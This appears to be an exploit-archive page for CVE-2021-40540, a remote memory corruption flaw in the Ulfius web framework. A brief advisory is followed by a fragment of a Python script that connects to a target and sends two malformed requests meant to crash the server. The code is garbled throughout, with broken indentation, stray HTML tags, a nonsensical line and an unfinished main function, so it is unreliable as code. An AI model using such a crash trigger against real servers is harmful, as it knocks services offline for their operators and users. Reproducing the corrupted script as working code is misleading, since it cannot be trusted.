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## **Ulfius Web Framework Remote Memory Corruption**

Posted Sep 14, 2021

Ulfius Web Framework suffers from a remote memory corruption vulnerability. When parsing malformed HTTP requests, a heap-related initialization bug is triggered resulting in a crash in the server or potentially remote code execution with privileges of the running process.

tags | exploit, remote, web, code execution advisories | CVE-2021-40540

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```
return sock
     def connect(self):
    self.sock = self.getSock()
          if(self.sock == None):
return -1
         try:
    self.sock.connect((self.host, self.port))
except Exception as error:
    print("connect() failed: %s\n" % error)
    return -1
          return 0
    def prepNext(self, host):
    self.sock.close()
          time.sleep(2)
          if(self.connect() < 0):
    print("connection failed\n")
    return -1</pre>
     def sendReq(self, num, req):
          sendseq(ue=., ... ,
try:
    self.sock.send(req)
except Exception as error:
    print("failed to send request %d: %s\n" % (num, error))
    return -1
         try:
    self.sock.recv(1024)
    except Exception as error:
    pass * expected as target may stop responding after requests
    def triggerCrash(self):
    if(self.connect() < 0):
        print("connection failed\n")
        return -1</pre>
          if(self.sendReq(1, REQ_1) < 0):
    return -1</pre>
          self.prepNext(self.host)
          if(self.sendReq(2, REQ_2) < 0):
    return -1</pre>
          self.sock.close()
def stop(signum, frame):
    print("\n\ndone\n")
    sys.exit(0)
def arg_parse():
    parser = argparse.ArgumentParser()
    parser.add_argument("host",
type=str,
help="target ip")
    args = parser.parse_args()
def main():
    signal.signal(signal.SIGINT, stop)
    args = arg_parse()
    gg = Guul(args)
result = gg.run()
    if(result > 0):
sys.exit(-1)
if(__name__ == '__main__'):
```

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